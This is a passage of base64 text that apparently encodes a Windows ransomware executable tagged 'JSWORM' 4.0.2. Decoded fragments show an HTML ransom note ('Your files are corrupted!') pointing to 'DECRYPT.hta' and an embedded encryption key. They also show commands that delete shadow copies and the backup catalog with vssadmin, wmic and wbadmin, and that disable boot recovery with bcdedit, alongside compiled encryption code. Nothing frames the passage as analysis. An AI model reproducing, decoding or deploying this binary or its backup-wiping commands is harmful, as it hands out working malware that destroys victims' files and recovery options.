14RXRFcE9TT1JIRGJJVUJEUEZxbFJIa0xxMGJqMkJiS042YldLNEE4RDlmcCtEdW9BMDM1dnQ3OWpPRDFsNFYzazhLT3R0SU5LMi9UaURxSWF0eC9kVnNSWVR1Y3RpK3hPV0xLdjBTdGFCSWdIRi9ERkN5TVd6c2Y4ZUJGRnVqb0hRN1VUQ3kxSExYUXVxV2JPVXdHbWdKU2RsbTRPaFRIeGJpNVFRMkpMbHlBQVBxOU1KWks5L0Fya3RPYU9sVVNjT1g4ZUtpcnRSWVA5S2loQjdTdUNoN1VVQmNZbkVBWUpmU2VSM2dkQTZwQmNjUGtib1RaV1JLRTduNnZOamM1TWVFT3RlU1NIaUxCRlFTMWNEV28xZE1xaDVlSFhrbU9yNEFGTXd4eFBKeDBOSFBBSWlDZUFLWXZGZVYxV3QvZkRFVWJqazRFTVZvbzV0Skx5WkFXS2VYVzkrYURubEVzbnRtRGk1MSswWkdONk83bmVKSUVNY0Ivc0lITlpRSG9FWi9QeTJDK1NSSGJsSklwWnN0MXlycDVJbmtQMUtJc0NIcnNvZTFwd2tJd1Q1VG9xZVpORmpHMEI4QmFLQ0FGZXZHK3pYcDhRYmlCMkEyR1l6MytRNHM4N1c4K0NRYzBMV2JaSEZqK1dJcU1udkFPR21XVGUxZEFYWkxnSjdlODVsTktvWGpxMDljeUhWcEVVK0tUVGw4WmoyalkrZDdNUkpJaDlmZ1pSVHhxZ1o0U2F6ZzdMMEZJZlAybHNwT1hMSi9oVFcxVk9qS2FWSVJQSGZqdUFVQkNZUWNCQm9tbFZCd3ZwMG50NTZpZStYREpOdXVSYnFMTlJtajhwNDhWeE1zZ2FaUCtXYkhnYlNQQzlheFJoOE5EWGQvWXF4L3dtamsvaEFleHJUblo5VThnTWl6RDVnWWZ6N3g1UU5KRjZDV05Icm9YM2ZRZ2xqZ2hDWWVXMzhscE9oN0pmVHJZMEJMOW9mL2Rrczk0a005RmMyWkhYVkFNbHc2NEZFM2JCNE1YYzNiRlp0czlxMmNZL2h6TUE4RWhRWDNZcGkzOHFITUNnY2gyZG9tbVh4WHh6bWFpQWZCNUNXWnhuVnRuUDFzNStmY3hKU3Byb0QrQzVYNzVyN0twajE2dXNiUHlYUlp4QkhyNnNjZXg5MGkvYnUrODVndnUzNzVwSTZTTDRDY1p3UXVHNVUxcmpySFNRb2hTN0xmaTNOQ3V1L2NnUGo1WUhxcERuOTFvWkd4VmRGQ1Z6Mi9XK2VERWpxWTQ4Z21tSExDejMvYlJ4MXIyeGJIY00yNk5lRXBPMjhNUEN3R3NjSUU0ZjJZMjBxWkJYT25HNXVPOHNqUXR2M0M1WUdrbGVRdWMwbHBqTHRGVnhwVkF1MmxhTktMSlJSaStnNXRUSFFVbVhwSE1QZmhsQzJKV3ZXdDlDZUVjSnZsaU9TcUo4a01pMTlQOTkwRG9HRERYQkRDTEJ3MUt0bHpyWGF5UzZmQlBWbzd2MVlpMFl1dTdMTUk3ZkFudWN3ZmxzaUxDRFJCNjlIRVBHL3NHeFZtd3dCTE9WZE9RWklWZkhwd0gvNzRSeHBZRXluYy9hdWhzdThMbWd3Q3Q5TDlvOGdFZGZHZzRIb2JudWVlMWRqME0vZzNqOXZtdGNsOGxzTzBrUmlSa3NTeDBPL2VQcjVDdVdzWU1VQ2xYaXc3L2d1NmlDa1pyS0N0S3hyQWZFM2R2K3RvT0lEU1BGN3lTMk5tazh4SlFZSXY5ZGpiTC8zYWJwYW1tNTVNUHFXNnpxQkhIdEJXaUxlalFNWStNNERSRGlBV3c5bDlnVUtzbDBPT05QMExPemVIZTVDMGdaZG9YM3hEWkZZTnlqS1VkY3N0VzVjUXFIYmlHMzkwd3RCc3dWenRvWXhLNWNYSm1YYjlERzRQM0Y0K3VuUkpuUTc4YzVZNlUzazc0aWtOVkUrTXF3Z1BlVzZOWkJtSXA5RElrc0xSVC81N0ZPM0lpRG5IOERGZzZQdlduMzV4Z2VSbEY1ejhqZGNzTGUxU0VIbzJOYnlYT3NMRU8vS2ZkNmJ0T1RESHR2VlRJZW5HcFBWS1I5WlltQ0JFTUljR0h0YStrOTFWNExqdGc1REc4aGFyQkNmdmY5cC80aWJLRXR1SE04VVNJTVVreW1Ld2d6RjdmR1J1bksyUkNNa3lETlArQnliL24vdTJjMUd4UHQ2amJRL295RGNoVy83aGZhU21mekVVS1hMRGV6UnEzb3VVRUhBdXBEN05ZMXMrVW1DUEZkQW93cnlXd1VRcWI0K1paTkFsRUplQ3pTTHJ3R1owdWpqQ1hGdE9EczhoSTZRbE5xdDlCd1Q4YldSc0VhK0JObHFJNFk4ODBxUTVBWGhNTUtQUGRvSWlWUTF5UUJrYmhlQ0V1dUVWcGVZZlhvc0x5SEdOTVlTRXdSQ3l0YzBVdEpXNnRmNzJjTklGdnVnV0Rab3hEdXFwUHF3ZDdXemdyRk44R3E0UTQ4bXJkQUtlbkl2U09nYXVTQklUcGFSOEF5aHlWRzJacG10cnpqa0lRYTgvMllnNktBUmhZVTQxNDFNUEVkeVFQeVJ3OGNNSDRrZ1d0RFFNSk81cmZDNnpaaDkvZEcrZlRsTVBFbkZQTEdTQnBXMFV0QXdPWk5FN0NRNTZ4VWlOaEpnRE1yb2lvajRpTVp1OW1jcnNDQldUWXM3cG43bDlvNGd6aXE0VXluc0twZkd0OGRYRm14Z094VHRrS2xyRkFGaWI0RmhYT2h3U0trQjV6UlJIdDA1c1g2MFhscTd6QlR5cTh0UmhGekJQNHNkTGtYY1FYd1ByWFZSbGZ3MkN3RWZtQ1BRT2h2TDB1bU5Hdi9BcW53Z3Q5WC8wU2pJSzBsS3FzY0pyMlFqZWlRSUtXYXJFc3Jwc0ZzRlRtM1JZSW1XNVBES1hZWWVMa1FsUFhRQW1RQ01YaXN3aVFVMGpWZURZV3pzejRkcmI2dndjdDQ2RDZPTlRSVHBZQ1FHbkFzTmdjcG9HRTROM2lDR2tpcEFCSmZ5ZVdnbzFEaW94R3pBaFJNcjlKdnpWb09SSXV2TmJUZDdXeVFnL0x4TlRXVExiYWNBSWtURUJadUQyWXgyVXNSdWhaQ2liOFFFRWNhQUxnSGxvQkVweTJJdkc2RzVEYXh2TlNGbzhvbFIvMFlJRTRYVU5zK0tqOU1Ka2c2WGdIdklBKzVZSnpKbkhZc3BsN2dET1FPWlBva0FLYlRLK1Mwb3RUREZtQTlXNlQvTGtiVDFtUGUxb1JuUEdQTGdJQWlNS1FrTTFTM3ByUlZsd1pKNktySHdTcDV5Y0dOVTlENjNXcGoza3N1enRUTHI0OXFMNDlkRXBvM3ozOFJhUjBISWpnQWlkamtvS2VQcVBUaEI5bHpxaXhYb3ZNMndJVTVHQTJmeTFtcjczMXFRcFJ6UlljV1dRc254MFN5elZoWURnekY2N01RQlFzcjdBSHEvYUxIc1JSR256Q0hFSmxYd2loeElXV0U0UHJRSUFvc0FhR0FXMW9ETm04U2FISzRNb0RpdGphTVRSNFpuYk1zTGw3eHRlK2tMVm9uMldFL1dUazFiSmljYmhsRWpFQS91Vm0wQkV5QWkxTjVWSmZqVWNrZUJVemFqaStJMXFFajJNWHJ3STc0V0krbkE2RERHTUI0dHk2MlNyNlRRdXNYQklpNDZOOHhMUmFtMGlkSnF1ZWlUOTVGS1N6RE9INVJDelNuQ0ZlZkVkaENraDQ0ZTNBRVFXd25HUlJqMFBMbFg4dEJuVTBJVTNDTGNhdFh6MlVROHQ0M3FoaTJPbGozWmlJczJFQUVlelpqcGxZa3JSWXNGYStybGIwalFmSERBR09uMEFYZGJiZzNFRjFxTWQweFRlSk9oam8wY3ZuUVhJMkFJTEhHb09FZ2hwUWN6TnhMY0xZb2NjK1ZXa09SaDRSN2RxOUhrYVpLcTZwYlBJTDJxNm1iZGxxK1FabzhjUlJBUVhITHpZQXY0NlRtTE1ocFlnK2prcGlBRTVxRHMrYXd5RmhiOHlCNU1tdWpCYnlXSXBjZHhjS1ZGNStCamI0V3JQU1hRNUpyTHlIc2FrU0ZxUkFqakMrRG9YQS9ZZWcyeks5TjRRYnRkaHgyMlJKTVl1bnltMGhUTWRjTnRRYktMN3lnSnhLTGJQZ2hGMzF4Tll6YlNud200WEJtUHlGNVRlT0R3LzVsS09hNkEwcVB2VVNMelJCN3dUaWpDbVVMQ29ySUZGWVJiYk5QV2ZIeFliSTgreFZmS2ZXVmE4VDFCeWpHOEk4WVpSSmgrYlFxWkxBaVF6M21EN2Fkd3NPY1VzQjh1ak9iZ2dBV1JIL1VtVldvNFcxb2lLb0J6cnBHd1RMOGVVamN2bHhzWGlyNW9tNXhkQWQ4MTB1Q1ZlOXlWZlRHaEx5dDFaaE9aU3lod2pHQkNJcEdCeU5XQVZlbTdVZU9RaDBydVJZTFUyOXkxZlpYT0t5ZzlLQVhPRktMMC8wZXNrZmdhNnhzTGR0bE9CQ0VrMzNHUVpKZ3loZkFOTW1GSmE2cjgwbTE1T1k1Z0tENGtkenJOTVl4clUzM2FveWt6cjdXOXY3Rm5YOWVLYXhzQmt3UDh5UUpXeU5tZEdVTzVDaGhoZ0NpcW1VajkzbHI2c3E0VjhTdzNBVnRvbzE4cGgvSkhmWDFmMTg2cEJCNVNIVzdVMWUrdTE4L0x1Z1J4aEswTUY2SWNadURSQnFwbnIzVUd1Wnd6aXNlRHN4cm1WTmJ2amdma2svcDl4YW1EV3NPaGc5NStJNUpBdm5hU1pZOG9jWXc0TVNIc09YK2ZhN3ZORTMxZEtXT1IyK3lqZ3VkbkF5Z0Y5ZHBRYStFaEZwVHlKRW0yK2tPekd2bWtWcFR1NE5CeW5nb3Q0c3BkZDV4Nm1SeG4yL0w1eHlhdHk0bFN4dlJMNnBZRFZDcHk1RGVpc040L2svZWNTL25SZTAyNEhqMnBlcW5lWm5VWWQxQ2xRTUVvM2lUOXRpdDFmdjJWMThhSDl3eU1pQ0VkemR5WXAxZy82bDRTT2J4MWJqUXdhREJhQjNZa0h6N3ZIcnN0NXdNSlRsZnNrUlREOWlyUElQM0U2L2djaGRxUUR3Z2h4alZxUkd6NXN2MzZ4TmZPVSs5WlJ4RHE0ckFObS9BLy9GSkJ1YW1yS00xaDFJaGRUVkwrbll0ZDNmVmNCckhVOCt2aFBsb1UyYkRnN0ladkd2dTN4REJwYUdxZkZvMlVuUC9xTFduL0EwY2xsVXpIWWQ3cEFBQUFBRWxGVGtTdVFtQ0MiPjwvaW1nPjwvZGl2PjxkaXYgc3R5bGU9InBhZGRpbmctbGVmdDoxNXB4OyI+PGgxIHN0eWxlPSJmb250LXdlaWdodDpib2xkOyB0ZXh0LWFsaWduOiBjZW50ZXI7Ij5Zb3VyIGZpbGVzIGFyZSBjb3JydXB0ZWQhPC9oMT48cCBzdHlsZT0iZm9udC13ZWlnaHQ6Ym9sZDsiPklkZW50aWZpY2F0b3IgZm9yIGZpbGVzOiA8c3BhbiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjojMDBmZjkwIj4AAAAgAAAAPGh0bWw+PGhlYWQ+PHRpdGxlPgBdAC4AAAAAAF0AWwAAAAAALgBbAEkARAAtAAAALgAuAAAAAAAuAC4ALgAAAHcAaQBuAGQAbwB3AHMAAAByAGUAYwBvAHYAZQByAHkAAAAAAHAAZQByAGYAbABvAGcAcwAAAAAAZABvAGMAdQBtAGUAbgB0AHMAIABhAG4AZAAgAHMAZQB0AHQAaQBuAGcAcwAAAAAAJABSAEUAQwBZAEMATABFAC4AQgBJAE4AAAAAAHMAeQBzAHQAZQBtACAAdgBvAGwAdQBtAGUAIABpAG4AZgBvAHIAbQBhAHQAaQBvAG4AAABtAHMAbwBjAGEAYwBoAGUAAAAAAEpTV09STQAATVNJTE9HAABtc2lsb2cAAERFQ1JZUFQuaHRhACoALgAqAAAAQQA6AFwAAABCADoAXAAAAEMAOgBcAAAARAA6AFwAAABFADoAXAAAAEYAOgBcAAAARwA6AFwAAABIADoAXAAAAEkAOgBcAAAASgA6AFwAAABLADoAXAAAAEwAOgBcAAAATQA6AFwAAABOADoAXAAAAE8AOgBcAAAAUAA6AFwAAABRADoAXAAAAFIAOgBcAAAAUwA6AFwAAABUADoAXAAAAFUAOgBcAAAAVgA6AFwAAABXADoAXAAAAFgAOgBcAAAAWQA6AFwAAABaADoAXAAAAC1ERUNSWVBULmh0YQAAAAAgL2Mgc3RhcnQgQzpcUHJvZ3JhbURhdGFcAAAAIC9jIHZzc2FkbWluLmV4ZSBkZWxldGUgc2hhZG93cyAvYWxsIC9xdWlldAAAAAAAIC9jIGJjZGVkaXQgL3NldCB7ZGVmYXVsdH0gYm9vdHN0YXR1c3BvbGljeSBpZ25vcmVhbGxmYWlsdXJlcyAteQAAAAAgL2MgYmNkZWRpdCAvc2V0IHtkZWZhdWx0fSByZWNvdmVyeWVuYWJsZWQgTm8gLXkAAAAAIC9jIHdiYWRtaW4gZGVsZXRlIGNhdGFsb2cgLXF1aWV0AAAAIC9jIHdtaWMgc2hhZG93Y29weSBkZWxldGUgLXkAAABKAFMAVwBSAE0AAAA0LjAuMgAAAE1JMmk2QldSRmhjc3d6bkl0QkVsMzNVYUlvRE93cUk9AAAAAE1JMmk2QldSRmhjc3cwbjh0UkF3MDNvY09zK0R6cURRAAAAAEJnSUFBQUNrQUFCU1UwRXhBQkFBQUFFQUFRQnBackdTeTFvNXJQZDJabksrVDNrYjdLZC9ocGQzUE9HN2I5Z0RwNUYxQWhZRmttOHd2UjNEVXlMc3JiY3g0SVE3VHZrYU5iS0FsODlnWmFDMjBtV0RPMFc1WlBJbDBYYzNjeWtMYSt1ZWtyaGpQZjdTeG5uaE5jRVo3TWYvN0RvUGROR0JoMS9FOU5oZlpKbytZdEVQbVptS1BjVjExWTBmdGRqV1FZT2l4MWVqeXVPcm1yV1RNRmo4MlhEdmw5dE84ZU1BekxITzhVUUVWbk9IY1BNTzFuekJNYUJDRldjaEJkcElNUDRLRjZocEdOOTdsQnpQWWJSZXdscz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